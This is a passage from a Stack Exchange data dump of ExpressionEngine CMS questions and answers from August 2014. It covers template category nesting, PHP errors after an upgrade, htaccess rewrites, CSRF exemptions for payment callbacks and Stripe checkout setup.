LastActivityDate="2014-08-17T13:53:24.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25147" PostTypeId="1" AcceptedAnswerId="25150" CreationDate="2014-08-17T14:43:12.853" Score="0" ViewCount="97" Body="&lt;p&gt;I am displaying all of a channel's parent and child categories. The client's design is kinda tricky so the goal is each parent group is in a row, each parent name is in a tag and its children are in a list...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;   &amp;lt;h3&amp;gt;Breakfast&amp;lt;/h3&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;Coffee&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;Bakery&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;   &amp;lt;h3&amp;gt;Lunch&amp;lt;/h3&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;Sandwiches&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;Salads&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have &lt;em&gt;kinda&lt;/em&gt; output this result with channel categories...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;   {exp:channel:categories channel=&quot;catering&quot; style=&quot;linear&quot;}&#xA;      {if &quot;{parent_id}&quot; == 0}&#xA;         &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;      {if:else}&#xA;         &amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;      {/if}&#xA;   {/exp:channel:categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It comes out like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;   &amp;lt;h3&amp;gt;Breakfast&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;li&amp;gt;Coffee&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;Bakery&amp;lt;/li&amp;gt;&#xA;   &amp;lt;h3&amp;gt;Lunch&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;li&amp;gt;Sandwiches&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;Salads&amp;lt;/li&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do I get each parent group properly wrapped in a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; items wrapped in &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; tags? Are there more advanced conditionals I need to be using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2014-11-16T15:14:12.377" Title="Channel Categories: Display all categories so each parent is a header and children are a list" Tags="|categories|parent|child-categories|category-name|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25148" PostTypeId="1" AcceptedAnswerId="25151" CreationDate="2014-08-17T15:49:23.073" Score="0" ViewCount="160" Body="&lt;p&gt;After upgrading from 1.6.3 to 2.9.0, I'm getting the following errors when I try to bring up the Site Upload Preferences:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_merge() [function.array-merge]: Argument #2 is not an array&#xA;Filename: models/file_upload_preferences_model.php&#xA;Line Number: 111&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_merge() [function.array-merge]: Argument #2 is not an array&#xA;Filename: models/file_upload_preferences_model.php&#xA;Line Number: 111&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/mysite.com/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 442&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue started with the fact that I was using Mark Hout's File extension, and I was going to try to implement this fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/forums/viewthread/218268/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/218268/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I needed to get the upload directory's ID from the File Upload Preferences.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-08-17T17:58:41.687" Title="PHP Error in File Upload Preferences after upgrade" Tags="|upgrade|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25149" PostTypeId="2" ParentId="24973" CreationDate="2014-08-17T16:54:07.817" Score="0" Body="&lt;p&gt;According the response I received from a support ticket to BR, this is not possible at the moment (BR 1.6.* release) but is a feature request and should appear sometime in the 1.7.* dev release.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-08-17T16:54:07.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25150" PostTypeId="2" ParentId="25147" CreationDate="2014-08-17T17:00:51.473" Score="0" Body="&lt;p&gt;Ok... This can be confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you try this, please?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;catering&quot; style=&quot;linear&quot;}&#xA;    {if parent_id == 0 OR count == 1}&#xA;        {if count &amp;gt; 1 AND count != total_results}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;    {/if}&#xA;    {if parent_id != 0}&#xA;        &amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;    {if count == total_results}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-11-16T15:14:12.377" LastActivityDate="2014-11-16T15:14:12.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25151" PostTypeId="2" ParentId="25148" CreationDate="2014-08-17T17:58:41.687" Score="0" Body="&lt;p&gt;Solved my issue. Something during the upgrade process inserted this line into my system/expressionengine/config/config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['upload_preferences'] = 'Array';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented that out and no more errors. Hope this helps someone else.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-08-17T17:58:41.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25153" PostTypeId="1" AcceptedAnswerId="25156" CreationDate="2014-08-17T22:08:14.547" Score="0" ViewCount="56" Body="&lt;p&gt;Is there a way to know if the current url being called is that of the Pages Module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I'd like to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if pages_module ==&quot;TRUE&quot;}&#xA;     This is a page generated from the pages module!&#xA;{else:if}&#xA;     This is not a page&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked for an add-on though, maybe I'm missing it or maybe I'm missing a simple tag in the docs?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2014-08-17T22:19:07.053" LastActivityDate="2014-08-21T15:42:43.027" Title="Detect if url is that of the Pages Module" Tags="|module|pages|page-uri|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25154" PostTypeId="1" CreationDate="2014-08-18T01:07:13.993" Score="0" ViewCount="96" Body="&lt;p&gt;I'm using the USPS shipping extension and receiving the below error on the checkout page: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;Fatal error: Uncaught exception 'Store\Exception\ShippingException' with message 'Authorization failure. Perhaps username and/or password is incorrect.' in /mypath/assets/third_party/store_usps/ext.store_usps.php:135 Stack trace: #0 [internal function]: Store_usps_ext-&amp;gt;shipping_methods(Object(Store\Model\Order), Array) #1 /mypath/expressionengine/libraries/Extensions.php(262): call_user_func_array(Array, Array) #2 [internal function]: EE_Extensions-&amp;gt;universal_call('store_order_shi...', Object(Store\Model\Order), Array) #3 /mypath/expressionengine/libraries/Extensions.php(119): call_user_func_array(Array, Array) #4 /mypath/assets/third_party/store/src/Store/Service/OrdersService.php(159): EE_Extensions-&amp;gt;call('store_order_shi...', Object(Store\Model\Order), Array) #5 /mypath/assets/third_party/store/src/Store/Tag/CheckoutTag.php(61): Store\Service\OrdersService-&amp;gt;get_order_shipping_methods(Object(Store\Model\Order)) #6 /mypath/assets/third_party/s in /mypath/assets/third_party/store_usps/ext.store_usps.php on line 135&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error seems similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18339/expresso-store-fedex-shipping-plugin-throwing-error-and-not-adding-shipping-meth&quot;&gt;this one&lt;/a&gt;. I am sure that I have the correct username in the extension. There's no field to place the password.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-01-04T23:18:34.793" Title="Fatal error on checkout with shipping extension" Tags="|expresso-store|shipping|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25155" PostTypeId="2" ParentId="25147" CreationDate="2014-08-18T01:42:06.580" Score="0" Body="&lt;p&gt;Confusing indeed, but yes, that pretty much did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except the parent category was repeating as the first item in the list, so I added &lt;code&gt;&amp;amp;&amp;amp; parent_id != 0&lt;/code&gt; to the second &lt;code&gt;{if parent_id}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the final working code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;catering&quot; style=&quot;linear&quot;}&#xA;    {if parent_id == 0 OR count == 1}&#xA;        {if count &amp;gt; 1 AND count != total_results}&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;    {/if}&#xA;    {if parent_id &amp;amp;&amp;amp; parent_id != 0}&#xA;        &amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;    {if count == total_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2014-08-18T01:42:06.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25156" PostTypeId="2" ParentId="25153" CreationDate="2014-08-18T01:54:54.673" Score="3" Body="&lt;p&gt;You should be able to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {if page_uri} {!-- or {if pages_url} --}&#xA;         This is a page in the pages module&#xA;    {if:else}&#xA;         This is not&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-08-21T15:42:43.027" LastActivityDate="2014-08-21T15:42:43.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25157" PostTypeId="1" AcceptedAnswerId="25188" CreationDate="2014-08-18T02:55:17.713" Score="1" ViewCount="1379" Body="&lt;p&gt;After upgrading from 1.6 to 2.9, I’m getting a set of the errors below when displaying a page containing images, one set for each image. I’m running PHP 5.4.x and it says “Fast CGI” after the 5.4.x.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: upload_date&#xA;Filename: file/ft.file.php&#xA;Line Number: 303&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: modified_date&#xA;Filename: file/ft.file.php&#xA;Line Number: 304 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also had Mark Huot’s File extension running in 1.6. I “resubmitted” or updated the field type for one custom field as “File” and I also ran the fix in this thread on this one custom file field, but only the part regarding the line breaks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/forums/viewthread/218268/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/218268/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to see those in my template, I have to use the tag pair, or else nothing is output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myFileFieldName}{url}{/myFileFieldName}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn’t run the part about including the file directory, because EE is not parsing my {filedir_x} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all other cases of file fields, where I didn’t run the fix or update/resubmit the custom field type as File, I can get output by just using the stand-alone tag, but I still get the errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myFileFieldName}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some more digging. So this error/warning is taking place at lines 303 and 304 of expressionengine/fieldtypes/file/ft.file.php in a function called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;replace_tag($file_info, $params = array(), $tagdata = FALSE) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here’s where it chokes in that function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date_vars = array(&#xA;   'upload_date' =&amp;gt; $file_info['upload_date'],&#xA;   'modified_date' =&amp;gt; $file_info['modified_date']&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know next to nothing about PHP, but I reckon $file_info has a problem, so I did an echo on $file_info and it returns what looks like just a string: “Array”. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where to go from here to fix that. The upload_date and modified_date columns in exp_files table are filled with data, so I can't imagine what's up.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2014-08-19T02:50:11.130" LastActivityDate="2014-11-05T13:41:26.013" Title="&quot;Undefined Index&quot; PHP errors after upgrade from 1.6 to 2.9" Tags="|custom-fields|fieldtype|upgrade|php-errors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25158" PostTypeId="1" CreationDate="2014-08-18T12:38:41.463" Score="2" ViewCount="65" Body="&lt;p&gt;There's a note in the docs (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#expire-session-on-browser-close&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) talking about cp_session_ttl and user_session_ttl overrides being replaced as part of the 2.8 update. But I can't see anything about it in the changelogs. Am I misunderstanding the note in the docs? Can somebody clarify this for me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using those overrides as part of my MasterConfig setup and want to know if I should remove or change them).&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-08-18T12:38:41.463" Title="system overrides for session timeouts -- deprecated?" Tags="|config|config-overrides|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25159" PostTypeId="2" ParentId="22247" CreationDate="2014-08-18T12:48:33.200" Score="1" Body="&lt;p&gt;You can make it required by adding an hidden input with the same name as your file input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form required=&quot;file_upload&quot;}&#xA;&#xA;  {freeform:field:file_upload show=&quot;1&quot;}&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;file_upload&quot;&amp;gt;&#xA;&#xA;  &amp;lt;button type=&quot;submit&quot;&amp;gt;Send&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3488" LastActivityDate="2014-08-18T12:48:33.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25160" PostTypeId="1" CreationDate="2014-08-18T15:15:30.830" Score="0" ViewCount="88" Body="&lt;p&gt;I'm working on a site that's going to list events. These events will have the following data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;Type&lt;/li&gt;&#xA;&lt;li&gt;Date&lt;/li&gt;&#xA;&lt;li&gt;Location&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to give the user the ability to filter by any one (or combination) of these fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to give the user the ability to order the remaining results by any one of these fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on a good solution to do this? I'm thinking there must be a good plugin that does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2015-01-16T23:45:59.533" Title="Filtering and Ordering" Tags="|channel-entries|custom-fields|filter|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25161" PostTypeId="2" ParentId="25138" CreationDate="2014-08-18T15:34:13.503" Score="1" Body="&lt;p&gt;Looks like it was a good ole &lt;code&gt;htaccess&lt;/code&gt; issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was mistakenly rewriting the URL (only needs to be done on LIVE, not DEV) when it's launched and since this is on a DEV environment I commented this out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{HTTPS} !=on&#xA;#   RewriteCond %{HTTP_HOST} !^www\..+$ [NC]&#xA;#   RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wa-laaa!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-08-18T15:34:13.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25162" PostTypeId="2" ParentId="24871" CreationDate="2014-08-18T15:52:46.003" Score="3" Body="&lt;p&gt;Looks like this was a FREEBIE issue. I set &quot;search&quot; to always parse and POOF! Thanks to Kevin @ Ellis Lab for the help on this one!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-08-18T15:52:46.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25165" PostTypeId="2" ParentId="21032" CreationDate="2014-08-18T17:18:44.830" Score="2" Body="&lt;p&gt;EE's &quot;secure forms&quot; feature requires that all POST requests contain a valid &lt;code&gt;XID&lt;/code&gt; (or &lt;code&gt;crsf_token&lt;/code&gt; in 2.8+). The POST back from your gateway contains no such token, hence the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you either need to disable secure forms (not recommended), or register an action for your payment plugin, and set &lt;code&gt;crsf_exempt&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; when you do so. Then use that action URL for your gateway to POST back to.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-18T17:18:44.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25171" PostTypeId="1" CreationDate="2014-08-18T23:37:35.093" Score="1" ViewCount="45" Body="&lt;p&gt;Working on a site where we're using Profile:Edit to register users using the {exp:profile:register}. In this particular case, we're using the parameter 'group_id' to register a user into a particular member group, which can be done by an admin on the front end through a restricted access dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running into an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Channel_form_lib::encrypt_input() in &#xA;/path/to/system/third_party/profile/mod.profile.php on line 880&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A quick bit of research tells me that that method was deprecated as of EE v2.6, and we have just upgraded to EE v2.8.1/2.9 (and soon to v2.9). This also goes hand-in-hand with the Channel_form_lib::decrypt_input() method that is also being user in mod.profile.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any EE developer/programmers point me in the right direction of a simple change to the method I can move to?&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2016-05-23T12:39:44.477" Title="What to do with deprecated encrypt_input and decrypt_input in Profile:Edit" Tags="|safecracker|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25172" PostTypeId="2" ParentId="25160" CreationDate="2014-08-19T06:11:12.017" Score="0" Body="&lt;p&gt;Potentially look at implementing your Events using Low Events (&lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-events&lt;/a&gt;). The template tags allow to set date parameters as well as order_by and sort parameters (&lt;a href=&quot;http://gotolow.com/addons/low-events/docs/tags&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-events/docs/tags&lt;/a&gt;) that should allow you to do what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-08-19T06:11:12.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25173" PostTypeId="2" ParentId="25160" CreationDate="2014-08-19T06:30:34.460" Score="0" Body="&lt;p&gt;After posting this question I realised that this is more of a front-end question as opposed to a back-end one. Therefore rather than looking for an expression engine add-on, I can simply output all the entries and then allow a jQuery plugin to take care of the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked around, &lt;a href=&quot;https://mixitup.kunkalabs.com/&quot; rel=&quot;nofollow&quot;&gt;https://mixitup.kunkalabs.com/&lt;/a&gt; seems to be a really good option, offering filtering and sorting with nice animations to make things look great.&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2014-08-19T06:30:34.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25174" PostTypeId="1" AcceptedAnswerId="25198" CreationDate="2014-08-19T09:03:05.150" Score="1" ViewCount="47" Body="&lt;p&gt;EE 2.4&#xA;Assets 1.1.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following a server upgrade from PHP 5.2 to PHP 5.4 all files in the Assets addon have gone from a clients installation. All the images in the channel entries have also vanished. Could you please tell me if a an upgrade to the latest version of Assets will solve this?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-08-20T06:23:37.423" Title="Files disappear from assets" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25175" PostTypeId="1" CreationDate="2014-08-19T10:57:40.593" Score="0" ViewCount="352" Body="&lt;p&gt;The orderby parameter seems to be giving some strange results on a site I'm building. It appears to be outputting 2, 3, 4 then 1. Any ideas why that would be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage_image_slider&quot; orderby=&quot;slider_display_order&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried setting the field as text, number and integer and all give this strange result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE version 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2014-08-19T10:57:40.593" Title="Anyone know why orderby would not be working?" Tags="|channel-entries|orderby|sort|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25177" PostTypeId="2" ParentId="25157" CreationDate="2014-08-19T15:00:29.357" Score="0" Body="&lt;p&gt;Sounds like you need to &quot;re-sync&quot; your files to force EE to generate the date data that it's looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the control panel, navigate to &lt;code&gt;Content ‣ Files ‣ File Upload Preferences ‣ Synchronize Files&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complete details are in the EE docs here:&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/content/files/sync_files.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/content/files/sync_files.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Synchronize Files page allows you to synchronize the file records&#xA;  in the database with the files stored in a given upload directory.&#xA;  When submitted, all allowed file types in the directory will be&#xA;  checked against the file records in the database. If there is no&#xA;  record in the database, one will be added. For images, any additional&#xA;  sizes will be generated and watermarked according to the file upload&#xA;  preferences for that directory. Lastly, any records in the database&#xA;  that do not have a corresponding file in the main directory will be&#xA;  deleted from the database along with any existing resized images.&#xA;  Existing images may also be set to regenerate resized images from this&#xA;  page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-08-19T15:00:29.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25178" PostTypeId="1" CreationDate="2014-08-19T15:40:42.067" Score="1" ViewCount="487" Body="&lt;p&gt;I have been trying to upgrade EE 2.8.1 to 2.9.0 but the Update Wizard just loads for a very very long time and then gives a 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying this a couple of times I removed the “installer” directory. CP now says “2.9.0” at the bottom, but it also gives this warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your ExpressionEngine installation’s version (2.8.1) is not consistent with the reported version (2.9.0). Please update your installation of ExpressionEngine again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this? How can I get the Update Wizard to finish completely or find out why it hangs?&lt;/p&gt;&#xA;" OwnerUserId="3494" LastActivityDate="2014-08-30T09:32:39.403" Title="Update Wizard 2.8.1 to 2.9.0 hangs and doesn’t complete" Tags="|update|2.9|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25181" PostTypeId="1" CreationDate="2014-08-19T16:40:48.097" Score="3" ViewCount="147" Body="&lt;p&gt;When I choose Stripe for my payment option, it only has one field for an API key.  Stripe apparently requires both a live secret and a live publishable key for taking payments.  Generally the secret key is used on the server side and the publishable key is put into the HTML of the checkout form.  Your documentation, however, doesn't seem to mention where it should be in your particular set of templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just use Stripe's documentation on that, since yours is silent on the matter, or is there a particular way I need to reference that publishable key in your checkout template(s)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I use the Stripe method, do I need the WHOLE Stripe Header code block I've seen used in the header in other examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;$.getScript('https://js.stripe.com/v1/', function() {Stripe.setPublishableKey('pk_live_xxxxxxxxxxxxxxxxxxxxxxxx');});&#xA;  /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA; $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;/* Only handle requests for Stripe gateway */&#xA;if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;  /* Temporarily disable the checkout submit button */&#xA;  $(&quot;#checkout_submit&quot;).attr('disabled', true);&#xA;&#xA;  /* Create a Stripe card token */&#xA;  Stripe.createToken({&#xA;    name: $(&quot;#payment_name&quot;).val(),&#xA;    number: $(&quot;#payment_card_no&quot;).val(),&#xA;    cvc: $(&quot;#payment_card_csc&quot;).val(),&#xA;    exp_month: $(&quot;#payment_exp_month&quot;).val(),&#xA;    exp_year: $(&quot;#payment_exp_year&quot;).val()&#xA;  }, stripeResponseHandler);&#xA;&#xA;  /* We don't want to submit the form yet */&#xA;  return false;&#xA;}&#xA;  });&#xA;  /* This function is triggered once Stripe has generated the token */&#xA;  function 